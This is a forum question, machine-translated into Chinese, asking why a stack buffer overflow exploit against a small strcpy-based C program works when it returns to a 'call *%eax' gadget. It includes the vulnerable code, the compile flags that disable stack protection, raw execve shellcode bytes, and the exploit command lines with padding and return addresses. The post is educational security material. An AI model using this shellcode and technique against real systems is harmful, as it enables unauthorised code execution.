1
鑑於此C程序:如何解釋這個緩衝區溢出漏洞,用C
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[1024];
strcpy(buf, argv[1]);
}
建有:
gcc -m32 -z execstack prog.c -o prog
由於shell代碼:
EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/df')
該程序利用的有命令:
./prog $EGG$(python -c 'print "A" * 991 + "\x87\x83\x04\x08"')
./prog $EGG$(python -c 'print "A" * 991 + "\x0f\x84\x04\x08"')
其中I從得到的地址:
$ objdump -d prog | grep call.*eax
8048387: ff d0 call *%eax
804840f: ff d0 call *%eax
我明白中間的AAAA
填補處理的意思,我計算基於的buf
在節目的長度和$EGG
長度991。
我不明白爲什麼這些地址中的任何一個與call *%eax
都會觸發執行shellcode複製到buf
的開頭。據我所知,我用0x8048387
(或另一個)覆蓋返回地址,我不明白爲什麼這會導致跳轉到shellcode。
我通過閱讀Smashing the stack for fun and profit瞭解了這一點。但是本文使用了一種猜測相對地址以跳轉到shellcode的不同方法。我很困惑爲什麼這個更簡單的替代解決方案可以正常工作,沒有猜測。